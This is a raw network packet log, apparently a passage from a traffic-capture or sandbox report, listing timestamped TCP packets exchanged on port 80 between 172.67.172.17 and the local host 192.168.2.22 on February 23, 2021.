Feb 23, 2021 16:55:45.655704021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655734062 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655765057 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655795097 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.655803919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.655838013 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656056881 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.656111956 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656147003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656181097 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.656187057 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656219959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656250954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656281948 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.656286955 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656320095 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656351089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.656380892 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.657185078 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657224894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657262087 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.657274008 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657310009 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657341003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657375097 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.657380104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657404900 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.657439947 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657479048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.657565117 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.658874035 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.658914089 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.658946037 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.658988953 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.658993959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.659006119 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.659027100 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.659058094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.659097910 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.659128904 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.659187078 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.659429073 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.660430908 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660466909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660511017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660542965 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660573959 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.660582066 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660614967 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660614967 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.660646915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660686970 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.660708904 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.661710024 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.661751986 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.662297010 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.662847996 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.662899971 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.662940979 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663041115 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663053989 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.663088083 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663166046 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663204908 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663239002 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.663275957 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.663286924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663332939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.663408995 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664165020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664194107 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664225101 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664252043 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664284945 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664309978 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664313078 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664336920 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664344072 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664362907 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664387941 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664390087 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664642096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664679050 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664716005 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664721966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664748907 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664752007 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664777040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664802074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664827108 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664829969 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.664853096 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.664877892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665422916 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.665502071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665534019 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665565014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665591002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665616035 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.665621996 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665632010 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.665649891 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665674925 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665700912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665724993 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.665755033 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.666467905 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666495085 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666524887 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666531086 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.666549921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666575909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666577101 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.666601896 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666608095 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.666626930 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666661024 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666685104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.666696072 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.666989088 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.667376041 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667402983 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667442083 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667555094 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.667671919 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667709112 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667752981 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667788982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667819977 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.667829990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667869091 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667871952 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.667906046 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667933941 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.667942047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.667982101 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668030024 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668066978 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.668651104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668677092 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668715954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668742895 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668754101 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.668766975 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668781042 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.668792963 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668816090 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668847084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668870926 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668895006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.668937922 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.669015884 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.669965982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670008898 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670036077 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670069933 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670095921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670119047 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670146942 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.670156002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670192003 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670229912 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670242071 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.670269012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.670320034 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.671855927 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.671885014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.671921015 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.671943903 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.671984911 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672009945 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672009945 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672034979 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672060013 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672060966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672089100 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672112942 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672121048 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672264099 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672303915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672333002 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672341108 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672379017 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672379971 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672418118 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672466993 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672485113 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672506094 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672540903 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.672959089 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.672990084 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673018932 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673055887 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673079014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673101902 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.673104048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673135042 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673162937 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.673171043 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673199892 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.673211098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673249960 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673295021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.673327923 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.673969984 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674001932 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674036980 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674061060 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674093962 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674097061 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674124002 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674141884 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674150944 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674180031 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674210072 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674632072 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674655914 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674683094 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674684048 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674705982 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674731016 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674740076 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674752951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674772978 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674793959 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674808025 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674814939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674814939 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.674840927 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674861908 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.674885035 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.675116062 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.675568104 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675601006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675642014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675676107 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675683022 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.675708055 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675724030 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.675745010 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675769091 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675796986 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675817966 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675833941 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.675837040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675858021 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.675937891 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.676054955 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.677495956 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677520990 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677593946 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677618027 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677645922 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.677653074 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677675962 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677694082 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.677696943 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677702904 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.677717924 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677736998 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677767992 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677789927 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677809000 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.677835941 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.677902937 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.679289103 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679326057 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679358006 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679399014 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679431915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679465055 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.679471970 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679506063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679538012 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679568052 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.679579020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679611921 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679641962 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679667950 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.679681063 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679708958 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.679713964 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679748058 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.679892063 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.680080891 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680114985 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680156946 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680186033 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.680188894 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680221081 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680252075 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680282116 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680286884 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.680310011 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680341005 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.680358887 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.680368900 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:45.681412935 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:45.891983986 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.082715034 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.130623102 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162590027 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162600040 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162612915 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162657976 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162662983 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162682056 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162700891 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162708044 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162728071 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162748098 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162767887 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162770033 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162801981 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162818909 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162822962 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162827015 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162844896 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162867069 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162870884 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162889957 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162898064 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162911892 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162933111 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162950993 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.162964106 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162971020 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.162992954 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163005114 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163012981 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163022041 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163043976 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163047075 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163070917 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163095951 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163098097 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163121939 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163135052 CET	80	49169	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:46.163137913 CET	49169	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:46.163155079 CET	80	49169	172.67.172.17	192.168.2.22
